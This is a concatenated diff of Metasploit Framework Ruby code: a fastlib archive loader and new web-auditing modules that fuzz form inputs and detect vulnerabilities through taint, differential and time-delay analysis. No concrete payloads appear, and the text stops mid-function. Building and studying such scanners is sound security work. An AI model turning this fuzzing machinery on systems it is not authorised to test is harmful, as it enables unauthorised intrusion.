# This method loads content from a specific archive file by name. If the
# noprocess argument is set to true, the contents will not be expanded to
# include workarounds for things such as __FILE__. This is useful when
# loading raw binary data where these strings may occur
@ -72,55 +72,55 @@ class FastLib
data = ""
load_cache(lib)
return if not ( @@cache[lib] and @@cache[lib][name] )
return unless ( @@cache[lib] and @@cache[lib][name] )
::File.open(lib, "rb") do |fd|
fd.seek(
@@cache[lib][:fastlib_header][0] +
@@cache[lib][:fastlib_header][1] +
@@cache[lib][:fastlib_header][1] +
@@cache[lib][name][0]
)
data = fastlib_filter_decode( lib, fd.read(@@cache[lib][name][1] ))
end
# Return the contents in raw or processed form
noprocess ? data : post_process(lib, name, data)
end
#
# This method caches the file list and offsets within the archive
#
def self.load_cache(lib)
return if @@cache[lib]
@@cache[lib] = {}
return if not ::File.exists?(lib)
::File.open(lib, 'rb') do |fd|
dict = {}
head = fd.read(4)
return if head != "FAST"
hlen = fd.read(4).unpack("N")[0]
flag = fd.read(4).unpack("N")[0]
flag = fd.read(4).unpack("N")[0]
@@cache[lib][:fastlib_header] = [12, hlen, fd.stat.mtime.utc.to_i ]
@@cache[lib][:fastlib_flags] = flag
nlen, doff, dlen, tims = fd.read(16).unpack("N*")
while nlen > 0
name = fastlib_filter_decode( lib, fd.read(nlen) )
dict[name] = [doff, dlen, tims]
nlen, doff, dlen, tims = fd.read(16).unpack("N*")
end
@@cache[lib].merge!(dict)
end
end
#
# This method provides compression and encryption capabilities
# for the fastlib archive format.
@ -128,7 +128,7 @@ class FastLib
def self.fastlib_filter_decode(lib, buff)
if (@@cache[lib][:fastlib_flags] & FLAG_ENCRYPT) != 0
@@cache[lib][:fastlib_decrypt] ||= ::Proc.new do |data|
stub = "decrypt_%.8x" % ( @@cache[lib][:fastlib_flags] & 0xfffffff0 )
FastLib.send(stub, data)
@ -136,7 +136,7 @@ class FastLib
buff = @@cache[lib][:fastlib_decrypt].call( buff )
end
if (@@cache[lib][:fastlib_flags] & FLAG_COMPRESS) != 0
if not @@has_zlib
raise ::RuntimeError, "zlib is required to open this archive"
@ -145,9 +145,9 @@ class FastLib
z = Zlib::Inflate.new
buff = z.inflate(buff)
buff << z.finish
z.close
z.close
end
buff
end
@ -156,7 +156,7 @@ class FastLib
# for the fastlib archive format.
#
def self.fastlib_filter_encode(lib, buff)
if (@@cache[lib][:fastlib_flags] & FLAG_COMPRESS) != 0
if not @@has_zlib
raise ::RuntimeError, "zlib is required to open this archive"
@ -165,11 +165,11 @@ class FastLib
z = Zlib::Deflate.new
buff = z.deflate(buff)
buff << z.finish
z.close
z.close
end
if (@@cache[lib][:fastlib_flags] & FLAG_ENCRYPT) != 0
@@cache[lib][:fastlib_encrypt] ||= ::Proc.new do |data|
stub = "encrypt_%.8x" % ( @@cache[lib][:fastlib_flags] & 0xfffffff0 )
FastLib.send(stub, data)
@ -177,7 +177,7 @@ class FastLib
buff = @@cache[lib][:fastlib_encrypt].call( buff )
end
buff
end
@ -185,54 +185,57 @@ class FastLib
# This method provides a way to create a FASTLIB archive programatically.
#
# @param [String] lib the output path for the archive
# @param [String] flag a string containing the hex values for the flags ({FLAG_COMPRESS} and {FLAG_ENCRYPT}).
# @param [String] bdir the path to the base directory which will be stripped from all paths included in the archive
# @param [Array<String>] dirs list of directories/files to pack into the archive. All dirs should be under bdir so
# that the paths are stripped correctly.
# @param [String] flag a string containing the hex values for the
# flags ({FLAG_COMPRESS} and {FLAG_ENCRYPT}).
# @param [String] bdir the path to the base directory which will be
# stripped from all paths included in the archive
# @param [Array<String>] dirs list of directories/files to pack into
# the archive. All dirs should be under bdir so that the paths are
# stripped correctly.
# @return [void]
def self.dump(lib, flag, bdir, *dirs)
head = ""
data = ""
hidx = 0
didx = 0
bdir = bdir.gsub(/\/$/, '')
brex = /^#{Regexp.escape(bdir)}\//
@@cache[lib] = {
:fastlib_flags => flag.to_i(16)
}
dirs.each do |dir|
::Find.find(dir).each do |path|
::Find.find(dir) do |path|
next if not ::File.file?(path)
name = fastlib_filter_encode( lib, path.sub( brex, "" ) )
buff = ""
::File.open(path, "rb") do |fd|
buff = fastlib_filter_encode(lib, fd.read(fd.stat.size))
end
head << [ name.length, didx, buff.length, ::File.stat(path).mtime.utc.to_i ].pack("NNNN")
head << name
hidx = hidx + 16 + name.length
data << buff
didx = didx + buff.length
end
end
head << [0,0,0].pack("NNN")
::File.open(lib, "wb") do |fd|
fd.write("FAST")
fd.write( [ head.length, flag.to_i(16) ].pack("NN") )
fd.write( head )
fd.write( data )
end
end
end
#
# This archive provides a way to list the contents of an archive
# file, returning the names only in sorted order.
@ -241,7 +244,7 @@ class FastLib
load_cache(lib)
( @@cache[lib] || {} ).keys.map{|x| x.to_s }.sort.select{ |x| @@cache[lib][x] }
end
#
# This method is called on the loaded is required to expand __FILE__
# and other inline dynamic constants to map to the correct location.
@ -249,7 +252,7 @@ class FastLib
def self.post_process(lib, name, data)
data.gsub('__FILE__', "'#{ ::File.expand_path(::File.join(::File.dirname(lib), name)) }'")
end
#
# This is a stub crypto handler that performs a basic XOR
# operation against a fixed one byte key. The two usable IDs
@ -258,25 +261,25 @@ class FastLib
def self.encrypt_12345600(data)
encrypt_00000000(data)
end
def self.decrypt_12345600(data)
encrypt_00000000(data)
end
def self.encrypt_00000000(data)
data.unpack("C*").map{ |c| c ^ 0x90 }.pack("C*")
end
def self.decrypt_00000000(data)
encrypt_00000000(data)
end
#
# Expose the cache to callers
#
def self.cache
@@cache
end
end
end
@ -290,7 +293,7 @@ if __FILE__ == $0
$stderr.puts "Usage: #{$0} [dump|list|version] <arguments>"
exit(0)
end
case cmd
when "store"
dst = ARGV.shift
@ -302,7 +305,7 @@ if __FILE__ == $0
exit(0)
end
FastLib.dump(dst, flg, dir, *src)
when "list"
src = ARGV.shift
unless src
@ -321,7 +324,7 @@ if __FILE__ == $0
when "version"
$stdout.puts "FastLib Version #{FastLib.version}"
end
exit(0)
end
@ -338,7 +341,7 @@ end
* The header entries always consist of 16 bytes + name length (no alignment)
* The header name data may be encoded, compressed, or transformed
* The data entries may be encoded, compressed, or transformed too
4 bytes: "FAST"
4 bytes: NBO header length
@ -356,7 +359,7 @@ end
module Kernel #:nodoc:all
alias :fastlib_original_require :require
#
# Store the CWD when were initially loaded
# required for resolving relative paths
@ -366,11 +369,11 @@ module Kernel #:nodoc:all
#
# This method hooks the original Kernel.require to support
# loading files within FASTLIB archives
#
#
def require(name)
fastlib_require(name) || fastlib_original_require(name)
end
#
# This method handles the loading of FASTLIB archives
#
@ -379,24 +382,24 @@ module Kernel #:nodoc:all
return false if fastlib_already_loaded?(name)
return false if fastlib_already_tried?(name)
# XXX Implement relative search paths within archives
$:.map{ |path|
# XXX Implement relative search paths within archives
$:.map{ |path|
(path =~ /^([A-Za-z]\:|\/)/ ) ? path : ::File.expand_path( ::File.join(@@fastlib_base_cwd, path) )
}.map{ |path| ::Dir["#{path}/*.fastlib"] }.flatten.uniq.each do |lib|
data = FastLib.load(lib, name)
next if not data
$" << name
Object.class_eval(data, lib + "::" + name)
return true
end
$fastlib_miss << name
$fastlib_miss << name
false
end
#
# This method determines whether the specific file name
# has already been loaded ($LOADED_FEATURES aka $")
@ -414,11 +417,11 @@ module Kernel #:nodoc:all
# TODO: Ensure that this only applies to known FASTLIB
# archives and that newly included archives will
# be searched appropriately.
#
#
def fastlib_already_tried?(name)
$fastlib_miss ||= []
$fastlib_miss.include?(name)
end
end
end

View File

@ -69,8 +69,7 @@ module Exploit
# Make sure parameters are valid.
if (opts['Payload'] == nil)
raise MissingPayloadError,
"You must specify a payload.", caller
raise MissingPayloadError.new, caller
end
# Verify the options
@ -81,7 +80,7 @@ module Exploit
# Initialize the driver instance
driver.exploit = exploit
driver.payload = exploit.framework.modules.create(opts['Payload'])
driver.payload = exploit.framework.payloads.create(opts['Payload'])
# Set the force wait for session flag if the caller requested force
# blocking. This is so that passive exploits can be blocked on from

View File

@ -1,7 +1,4 @@
# -*- coding: binary -*-
##
# $Id$
##
#
# Auxiliary mixins
@ -14,6 +11,7 @@ require 'msf/core/auxiliary/scanner'
require 'msf/core/auxiliary/udp_scanner'
require 'msf/core/auxiliary/timed'
require 'msf/core/auxiliary/wmapmodule'
require 'msf/core/auxiliary/web'
require 'msf/core/auxiliary/crawler'
require 'msf/core/auxiliary/commandshell'

View File

@ -0,0 +1,284 @@
# -*- coding: binary -*-
module Msf
###
#
# This module provides methods for brute forcing authentication
#
###
module Auxiliary::Web
module Analysis
end
require 'msf/core/auxiliary/web/http'
require 'msf/core/auxiliary/web/fuzzable'
require 'msf/core/auxiliary/web/form'
require 'msf/core/auxiliary/web/path'
require 'msf/core/auxiliary/web/target'
include Auxiliary::Report
attr_reader :target
attr_reader :http
attr_reader :parent
attr_reader :page
def initialize( info = {} )
super
end
# String id to push to the #checklist
def checked( id )
parent.checklist << "#{shortname}#{id}".hash
end
# String id to check against the #checklist
def checked?( id )
parent.checklist.include? "#{shortname}#{id}".hash
end
#
# Called directly before 'run'
#
def setup( opts = {} )
@parent = opts[:parent]
@target = opts[:target]
@page = opts[:page]
@http = opts[:http]
end
# Should be overridden to return the exploits to use for this
# vulnerability type as an Array of Strings.
def self.exploits
end
# Must return a configuration Hash for the given exploit and vulnerability.
def self.configure_exploit( exploit, vuln )
end
# Should be overridden to return the payloads used for this
# vulnerability type as an Array of Strings.
def payloads
end
def token
"xssmsfpro"
end
#
# Should be overridden to return a pattern to be matched against response
# bodies in order to identify a vulnerability.
#
# You can go one deeper and override #find_proof for more complex processing.
#
def signature
end
#
# Default #run, will audit all elements using taint analysis and log
# results based on #find_proof return values.
#
def run
auditable.each { |element| element.taint_analysis }
end
# Returns an Array of elements prepared to be audited.
def auditable
target.auditable.map do |element|
element.fuzzer = self
element
end
end
# Checks whether a resource exists based on a path String.
def resource_exist?( path )
res = http.get( path )
res.code.to_i == 200 && !http.custom_404?( path, res.body )
end
alias :file_exist? :resource_exist?
# Checks whether a directory exists based on a path String.
def directory_exist?( path )
dir = path.dup
dir << '/' if !dir.end_with?( '/' )
resource_exist?( dir )
end
# Logs the existence of a resource in the path String.
def log_resource_if_exists( path )
log_resource( :location => path ) if resource_exist?( path )
end
alias :log_file_if_exists :log_resource_if_exists
# Logs the existence of the directory in the path String.
def log_directory_if_exists( path )
dir = path.dup
dir << '/' if !dir.end_with?( '/' )
log_resource_if_exists( dir )
end
# Matches fingerprint pattern against the current page's body and logs matches
def match_and_log_fingerprint( fingerprint )
page.body.to_s.match( fingerprint ) && log_fingerprint( :fingerprint => fingerprint )
end
#
# Serves as a default detection method for when performing taint analysis.
#
# Uses the Regexp in #signature against the response body in order to
# identify vulnerabilities and return a String that proves it.
#
# Override it if you need more complex processing, but remember to return
# the proof as a String.
#
# response - Net::HTTPResponse
# element - the submitted element
#
def find_proof( response, element )
return if !signature
m = response.body.match( signature ).to_s
return if !m || m.size < 1
m.gsub( /[\r\n]/, ' ' )
end
def increment_request_counter
parent.increment_request_counter
end
# Should be overridden and return an Integer (0-100) denoting the confidence
# in the accuracy of the logged vuln.
def calculate_confidence( vuln )
100
end
def log_fingerprint( opts = {} )
mode = details[:category].to_sym
vhash = [target.to_url, opts[:fingerprint], mode, opts[:location]].
map { |x| x.to_s }.join( '|' ).hash
return if parent.vulns.include?( vhash )
parent.vulns[vhash] = true
location = opts[:location] ?
page.url.merge( URI( opts[:location].to_s )) : page.url
info = {
:web_site => target.site,
:path => location.path,
:query => location.query,
:method => 'GET',
:params => [],
:pname => 'path',
:proof => opts[:fingerprint],
:risk => details[:risk],
:name => details[:name],
:blame => details[:blame],
:category => details[:category],
:description => details[:description],
:confidence => details[:category] || opts[:confidence] || 100,
:owner => self
}
report_web_vuln( info )
print_good " FOUND(#{mode.to_s.upcase}) URL(#{location})"
print_good " PROOF(#{opts[:fingerprint]})"
end
def log_resource( opts = {} )
mode = details[:category].to_sym
vhash = [target.to_url, mode, opts[:location]].
map { |x| x.to_s }.join( '|' ).hash
return if parent.vulns.include?( vhash )
parent.vulns[vhash] = true
location = URI( opts[:location].to_s )
info = {
:web_site => target.site,
:path => location.path,
:query => location.query,
:method => 'GET',
:params => [],
:pname => 'path',
:proof => opts[:location],
:risk => details[:risk],
:name => details[:name],
:blame => details[:blame],
:category => details[:category],
:description => details[:description],
:confidence => details[:category] || opts[:confidence] || 100,
:owner => self
}
report_web_vuln( info )
print_good " VULNERABLE(#{mode.to_s.upcase}) URL(#{target.to_url})"
print_good " PROOF(#{opts[:location]})"
end
def process_vulnerability( element, proof, opts = {} )
mode = details[:category].to_sym
vhash = [target.to_url, mode, element.altered].
map{ |x| x.to_s }.join( '|' ).hash
parent.vulns[mode] ||= {}
return parent.vulns[mode][vhash] if parent.vulns[mode][vhash]
parent.vulns[mode][vhash] = {
:target => target,
:method => element.method.to_s.upcase,
:params => element.params.to_a,
:mode => mode,
:pname => element.altered,
:proof => proof,
:form => element.model,
:risk => details[:risk],
:name => details[:name],
:blame => details[:blame],
:category => details[:category],
:description => details[:description]
}
confidence = calculate_confidence( parent.vulns[mode][vhash] )
parent.vulns[mode][vhash].merge!( :confidence => confidence )
if !(payload = opts[:payload])
if payloads
payload = payloads.select{ |p| element.altered_value.include?( p ) }.first
end
end
uri = URI( element.action )
info = {
:web_site => element.model.web_site,
:path => uri.path,
:query => uri.query,
:method => element.method.to_s.upcase,
:params => element.params.to_a,
:pname => element.altered,
:proof => proof,
:risk => details[:risk],
:name => details[:name],
:blame => details[:blame],
:category => details[:category],
:description => details[:description],
:confidence => confidence,
:payload => payload,
:owner => self
}
report_web_vuln( info )
print_good " VULNERABLE(#{mode.to_s.upcase}) URL(#{target.to_url})" +
" PARAMETER(#{element.altered}) VALUES(#{element.params})"
print_good " PROOF(#{proof})"
end
end
end

View File

@ -0,0 +1,136 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
module Msf
module Auxiliary::Web
module Analysis::Differential
DIFFERENTIAL_OPTIONS = {
# amount of refinement iterations
:precision => 2
}
#
# Performs differential analysis and logs an issue should there be one.
#
# Fuzzer must provide:
# - #boolean_seeds_for - array of boolean injection strings
# (these are supposed to not alter the webapp behavior when interpreted)
# - #fault_seeds_for - array of fault injection strings
# (these are supposed to force erroneous conditions when interpreted)
#
# Here's how it goes:
# * let _default_ be the default/original response
# * let _fault_ be the response of the fault injection
# * let _bool_ be the response of the boolean injection
#
# A vulnerability is logged if:
# default == bool AND bool.code == 200 AND fault != bool
#
# The "bool" response is also checked in order to determine if it's a custom 404,
# if it is it'll be skipped.
#
# @param [Hash] opts Options Hash (default: {})
# :precision - amount of refinement iterations (default: 2)
#
def differential_analysis( opts = {}, &block )
opts = DIFFERENTIAL_OPTIONS.merge( opts )
return if fuzzed? :type => :differential
fuzzed :type => :differential
# don't continue if there's a missing value
params.values.each { |val| return if !val || val.empty? }
responses = {
# will hold the original, default, response that results from submitting
:orig => nil,
# will hold responses of boolean injections
:good => {},
# will hold responses of fault injections
:bad => {}
}
# submit the element, as is, opts[:precision] amount of times and
# rdiff the responses in order to arrive to a refined response without
# any superfluous dynamic content
opts[:precision].times do
# get the default responses
submit_async do |res|
responses[:orig] ||= res.body.to_s
# remove context-irrelevant dynamic content like banners and such
responses[:orig] = Rex::Text.refine( responses[:orig], res.body.to_s )
end
end
# perform fault injection opts[:precision] amount of times and
# rdiff the responses in order to arrive to a refined response without
# any superfluous dynamic content
opts[:precision].times do
params.map do |name, value|
fuzzer.fault_seeds_for( value ).map { |seed| permutation_for( name, seed ) }
end.flatten.uniq.each do |elem|
# submit the mutation and store the response
elem.submit_async do |res|
responses[:bad][elem.altered] ||= res.body.to_s.dup
# remove context-irrelevant dynamic content like banners and such
# from the error page
responses[:bad][elem.altered] =
Rex::Text.refine( responses[:bad][elem.altered], res.body.to_s.dup )
end
end
end
# get injection variations that will not affect the outcome of the query
params.map do |name, value|
fuzzer.boolean_seeds_for( value ).map { |seed| permutation_for( name, seed ) }
end.flatten.uniq.each do |elem|
# submit the mutation and store the response
elem.submit_async do |res|
responses[:good][elem.altered] ||= []
# save the response and some data for analysis
responses[:good][elem.altered] << {
'res' => res,
'elem' => elem
}
end
end
http.after_run do
responses[:good].keys.each do |key|
responses[:good][key].each do |res|
# if default_response_body == bool_response_body AND
# fault_response_body != bool_response_body AND
# bool_response_code == 200
if responses[:orig] == res['res'].body &&
responses[:bad][key] != res['res'].body &&
res['res'].code.to_i == 200
# check to see if the current boolean response we're analyzing
# is a custom 404 page
http.if_not_custom_404( action, res['res'].body ) do
# if this isn't a custom 404 page then it means that
# the element is vulnerable, so go ahead and log the issue
fuzzer.process_vulnerability( res['elem'], 'Manipulatable responses.',
:payload => res['elem'].altered_value )
end
end
end
end
end
end
end
end
end

View File

@ -0,0 +1,34 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
module Msf
module Auxiliary::Web
module Analysis::Taint
#
# Injects taints into the element parameters.
#
# Fuzzer must provide:
# - #seeds_for
# - #find_proof
#
# opts - Options Hash (default: {})
#
def taint_analysis( opts = {} )
return if fuzzed? :type => :taint
fuzzed :type => :taint
fuzz_async do |response, permutation|
next if !response || !(proof = fuzzer.find_proof( response, permutation ))
fuzzer.process_vulnerability( permutation, proof )
end
end
end
end
end

View File

@ -0,0 +1,103 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
module Msf
module Auxiliary::Web
module Analysis::Timing
TIMING_OPTIONS = {
# stub to be replaced by delay * multi
:stub => '__TIME__',
# stub = delay * multi
:multi => 1,
# delay in seconds to attempt to introduce
:delay => 5
}
#
# Performs timeout/time-delay analysis and logs an issue should there be one.
#
# Fuzzer must provide:
# - #seeds_for -- Array of Strings with server-side code which, when interpreted,
# will cause a delay in response. Must include 'stub'.
#
# Here's how it goes:
# * Ensures that the server is responsive.
# * Injects the seed and makes sure that the expected delay has been successfully introduced.
# * Ensures that the server is responsive -- blocks until the attack has worn off.
# * Increases the original delay and makes sure that the expected delay has been successfully introduced.
# * Ensures that the server is responsive-- blocks until the attack has worn off.
# * Logs the vulnerability.
#
# opts - Options Hash (default: {})
# :timeout - Integer amount of seconds to wait for the request to complete (default: 5)
# :stub - String stub to be replaced by delay * multi (default: __TIME__)
# :multi - Integer multiplier (stub = timeout * multi) (default: 1)
#
def timeout_analysis( opts = {} )
opts = TIMING_OPTIONS.merge( opts )
multi = opts[:multi]
stub = opts[:stub]
return if fuzzed? :type => :timing
fuzzed :type => :timing
permutations.each do |p|
timeout = opts[:delay]
seed = p.altered_value.dup
payload = fuzzer.payloads.select{ |pl| seed.include?( pl ) }.first
# 1st pass, make sure the webapp is responsive
if_responsive do
# 2nd pass, see if we can manipulate the response times
timeout += 1
p.altered_value = seed.gsub( stub, (timeout * multi).to_s )
p.if_unresponsive( timeout - 1 ) do
# 3rd pass, make sure that the previous step wasn't a fluke (like a dead web server)
if_responsive do
# 4th pass, increase the delay and timeout to make sure that we are the ones
# manipulating the webapp and this isn't all a coincidence
timeout *= 2
timeout += 1
p.altered_value = seed.gsub( stub, (timeout * multi).to_s )
p.if_unresponsive( timeout - 1 ) do
# log it!
fuzzer.process_vulnerability( p, 'Manipulatable response times.',
:payload => payload.gsub( stub, (timeout * multi).to_s ) )
end
end
end
end
end
end
def responsive?( timeout = 120 )
!submit( :timeout => timeout ).timed_out?
end
def responsive_async?( timeout = 120, &callback )
submit_async( :timeout => timeout ) { |r| callback.call !r.timed_out? }
end
def if_responsive( timeout = 120, &callback )
responsive_async?( timeout ) { |b| callback.call if b }
end
def if_unresponsive( timeout = 120, &callback )
responsive_async?( timeout ) { |b| callback.call if !b }
end
end
end
end

View File

@ -0,0 +1,245 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'net/https'
require 'net/http'
require 'uri'
module Msf
#
# Represents a webpage form.
#
module Auxiliary::Web
class Form < Fuzzable
# Method type Symbol: :get, :post
attr_accessor :method
# URL String to which to submit the params
attr_accessor :action
# Inputs Array in the form of:
#
# [{ :name => 'name', :value => 'John', :type => 'text' }]
#
attr_accessor :inputs
# Name of the altered input as a String
attr_accessor :altered
# Mdm::WebForm model if available
attr_accessor :model
#
# opts - Options Hash (default: {})
# :action - Action URL of the form
# :method - Form method (:get, :post)
# :inputs - Form inputs [{ :name => 'name', :value => 'John', :type => 'text' }]
#
def initialize( opts = {} )
self.action = opts[:action]
self.action.chop! if self.action.end_with?( '?' )
self.method = opts[:method] || :get
self.inputs = (opts[:inputs] || []).dup
end
#
# Set the name of the altered field (will be used as the vuln param when logging)
#
# input_name - String
#
def altered=( input_name )
@altered = input_name.to_s.dup
end
#
# Set the form method.
#
# input_name - String, Symbol
#
def method=( m )
@method = m.to_s.downcase.to_sym
end
#
# i - Array of form inputs
#
# Examples
#
# [{ :name => 'name', :value => 'John', :type => 'text' }]
#
def inputs=( i )
# nil it out so that it'll be updated next time it's requested
@params = nil
@inputs = i
end
#
# Hash of params to be submited (derived by #inputs)
#
# Examples
#
# { 'name' => 'John' }
#
def params
@params ||= inputs.reject{ |i| i[:name].to_s.empty? }.
inject( {} ) { |h, i| h[i[:name]] = i[:value]; h }
end
#
# Value of the {#altered} input (i.e. the injected value).
#
def altered_value
params[altered]
end
def altered_value=( value )
params[altered] = value.to_s.dup
end
#
# Converts a Hash of params to a query String
#
# i - Hash of params (default: #params)
#
def to_query( i = self.params )
i.map do |k, v|
Rex::Text.uri_encode( k.to_s ) + '=' + Rex::Text.uri_encode( v.to_s )
end.join( '&' )
end
#
# Converts a query String to a Hash of params
#
# query - String
#
def self.query_to_params( query )
query = query.to_s
return {} if query.empty?
query.split( '&' ).inject( {} ) do |h, pair|
k, v = pair.to_s.split( '=', 2 )
h[Rex::Text.uri_decode( k.to_s )] = Rex::Text.uri_decode( v.to_s )
h
end
end
def query_to_params( query )
self.class.query_to_params( query)
end
def request( opts = {} )
p = case method
when :get
query_to_params( URI( action ).query ).merge( params )
when :post
params
end
[ action, opts.merge( :method => method, :params => p ) ]
end
# Bool - true if params are empty, false otherwise.
def empty?
params.empty?
end
#
# Param reader shortcut -- returns the value of a param by name, as a String.
#
# field - Param name as a String
#
def []( field )
params[field.to_s]
end
#
# Param writer shortcut -- sets the value of a param by name, as a String.
#
# field - Param name as a String
# value - Param value as a String
#
def []=( field, value )
update( field, value )
[field]
end
#
# Update the form inputs.
#
# field - Field name as a Sting (updated if already exists, created otherwise).
# value - Field Value as a String.
# type - Field type ('text' if no type has been provided).
#
def update( field, value, type = nil )
@params = nil
inputs.each do |i|
if i[:name] == field.to_s
i[:value] = value.to_s
i[:type] = type.to_s if type
return self
end
end
@inputs << { :name => field.to_s, :value => value.to_s, :type => type || 'text' }
self
end
#
# Get a field type, by name, as a String.
#
# field - Field name as a Sting
#
def field_type_for( name )
inputs.select{ |i| i[:name] == name.to_s }[:type]
end
#
# Get an Array with permutations of the form for the given seed.
#
# seed - String to inject
#
def permutations
return [] if empty?
params.map do |name, value|
fuzzer.seeds_for( value || '' ).map { |seed| permutation_for( name, seed ) }
end.flatten.uniq
end
def permutation_for( field_name, field_value )
form = self.dup
form.altered = field_name.dup
form[field_name] = field_value.dup
form
end
def to_hash
{ :action => action.dup, :method => method,
:inputs => inputs.dup, :altered => altered ? altered.dup : nil }
end
def self.from_model( form )
inputs = form.params.map do |name, value, extra|
extra = extra.first if extra.is_a? Array
extra ||= {}
{ :name => name, :value => value, :type => extra[:type] }
end
e = new( :action => "#{form.path}?#{form.query}", :method => form.method,
:inputs => inputs )
e.model = form
e
end
end
end
end

View File

@ -0,0 +1,109 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'net/https'
require 'net/http'
require 'uri'
module Msf
module Auxiliary::Web
class Fuzzable
# load and include all available analysis/audit techniques
lib = File.dirname( __FILE__ ) + '/analysis/*.rb'
Dir.glob( lib ).each { |f| require f }
Analysis.constants.each { |technique| include Analysis.const_get( technique ) }
attr_accessor :fuzzer
def fuzzed?( opts = {} )
fuzzer.checked? fuzz_id( opts )
end
def fuzzed( opts = {} )
fuzzer.checked fuzz_id( opts )
end
def fuzz_id( opts = {} )
"#{opts[:type]}:#{fuzzer.shortname}:#{method}:#{action}:#{params.keys.sort.to_s}:#{altered}=#{altered_value}"
end
def fuzz( cfuzzer = nil, &callback )
fuzz_wrapper( cfuzzer ) { |p| callback.call( p.submit, p ) }
end
def fuzz_async( cfuzzer = nil, &callback )
fuzz_wrapper( cfuzzer ) { |p| p.submit_async { |res| callback.call( res, p ) } }
end
def submit( opts = {} )
fuzzer.increment_request_counter
resp = http.request_async( *request( opts ) )
handle_response( resp )
resp
end
def submit_async( opts = {}, &callback )
fuzzer.increment_request_counter
http.request_async( *request( opts ) ) do |resp|
handle_response( resp )
callback.call resp if callback
end
nil
end
def http
fuzzer.http
end
def hash
to_hash.hash
end
def ==( other )
hash == other.hash
end
def dup
cf = self.fuzzer
self.fuzzer = nil
ce = Marshal.load( Marshal.dump( self ) )
self.fuzzer = ce.fuzzer = cf
ce
end
private
def fuzz_wrapper( cfuzzer = nil, &block )
self.fuzzer ||= cfuzzer
permutations.each do |p|
block.call p
end
end
def handle_response( resp )
str = " #{fuzzer.shortname}: #{resp.code} - #{method.to_s.upcase}" +
" #{action} #{params}"
case resp.code.to_i
when 200,404,301,302,303
#fuzzer.print_status str
when 500,503,401,403
fuzzer.print_good str
else
fuzzer.print_error str
end
end
end
end
end

View File

@ -0,0 +1,299 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'uri'
module Msf
class Auxiliary::Web::HTTP
class Request
attr_accessor :url
attr_reader :opts
attr_reader :callbacks
def initialize( url, opts = {}, &callback )
@url = url.to_s.dup
@opts = opts.dup
@opts[:method] ||= :get
@callbacks = [callback].compact
end
def method
opts[:method]
end
def handle_response( response )
callbacks.each { |c| c.call response }
end
end
class Response < Rex::Proto::Http::Response
def self.from_rex_response( response )
return empty if !response
r = new( response.code, response.message, response.proto )
response.instance_variables.each do |iv|
r.instance_variable_set( iv, response.instance_variable_get( iv ) )
end
r
end
def self.empty
new( 0, '' )
end
def self.timed_out
r = empty
r.timed_out
r
end
def timed_out?
!!@timed_out
end
def timed_out
@timed_out = true
end
end
attr_reader :opts
attr_reader :headers
attr_reader :framework
attr_accessor :redirect_limit
def initialize( opts = {} )
@opts = opts.dup
@framework = opts[:framework]
@headers = {
'Accept' => '*/*',
'Cookie' => opts[:cookie_string]
}.merge( opts[:headers] || {} )
@headers.delete( 'Cookie' ) if !@headers['Cookie']
@request_opts = {}
if opts[:auth].is_a? Hash
@request_opts['basic_auth'] = [ opts[:auth][:user].to_s + ':' +
opts[:auth][:password] ]. pack( 'm*' ).gsub( /\s+/, '' )
end
self.redirect_limit = opts[:redirect_limit] || 20
@queue = Queue.new
@after_run_blocks = []
end
def after_run( &block )
@after_run_blocks << block
end
def connect
c = Rex::Proto::Http::Client.new(
opts[:target].host,
opts[:target].port,
{},
opts[:target].ssl,
'SSLv23'
)
c.set_config({
'vhost' => opts[:target].vhost,
'agent' => opts[:user_agent] || 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)',
})
c
end
def run
return if @queue.empty?
tl = []
loop do
# Spawn threads for each host
while tl.size <= (opts[:max_threads] || 5) && !@queue.empty? && (req = @queue.pop)
tl << framework.threads.spawn( "#{self.class.name} - #{req})", false, req ) do |request|
request.handle_response request( request.url, request.opts )
end
end
break if tl.empty?
tl.reject! { |t| !t.alive? }
select( nil, nil, nil, 0.05 )
end
call_after_run_blocks
end
def request( url, opts = {} )
rlimit = self.redirect_limit
while rlimit >= 0
rlimit -= 1
res = _request( url, opts )
return res if !opts[:follow_redirect] || !url = res.headers['location']
end
nil
end
def request_async( url, opts = {}, &callback )
queue Request.new( url, opts, &callback )
end
def get_async( url, opts = {}, &callback )
request_async( url, opts.merge( :method => :get ), &callback )
end
def post_async( url, opts = {}, &callback )
request_async( url, opts.merge( :method => :post ), &callback )
end
def get( url, opts = {} )
request( url, opts.merge( :method => :get ) )
end
def post( url, opts = {} )
request( url, opts.merge( :method => :post ) )
end
def if_not_custom_404( path, body, &callback )
custom_404?( path, body ) { |b| callback.call if !b }
end
def custom_404?( path, body, &callback )
return if !path || !body
precision = 2
trv_back = File.dirname( path )
trv_back << '/' if trv_back[-1,1] != '/'
# 404 probes
generators = [
# get a random path with an extension
proc{ path + Rex::Text.rand_text_alpha( 10 ) + '.' + Rex::Text.rand_text_alpha( 10 )[0..precision] },
# get a random path without an extension
proc{ path + Rex::Text.rand_text_alpha( 10 ) },
# move up a dir and get a random file
proc{ trv_back + Rex::Text.rand_text_alpha( 10 ) },
# move up a dir and get a random file with an extension
proc{ trv_back + Rex::Text.rand_text_alpha( 10 ) + '.' + Rex::Text.rand_text_alpha( 10 )[0..precision] },
# get a random directory
proc{ path + Rex::Text.rand_text_alpha( 10 ) + '/' }
]
synchronize do
@@_404 ||= {}
@@_404[path] ||= []
@@_404_gathered ||= Set.new
gathered = 0
if !@@_404_gathered.include?( path.hash )
generators.each.with_index do |generator, i|
@@_404[path][i] ||= {}
precision.times {
get_async( generator.call, :follow_redirect => true ) do |res|
gathered += 1
if gathered == generators.size * precision
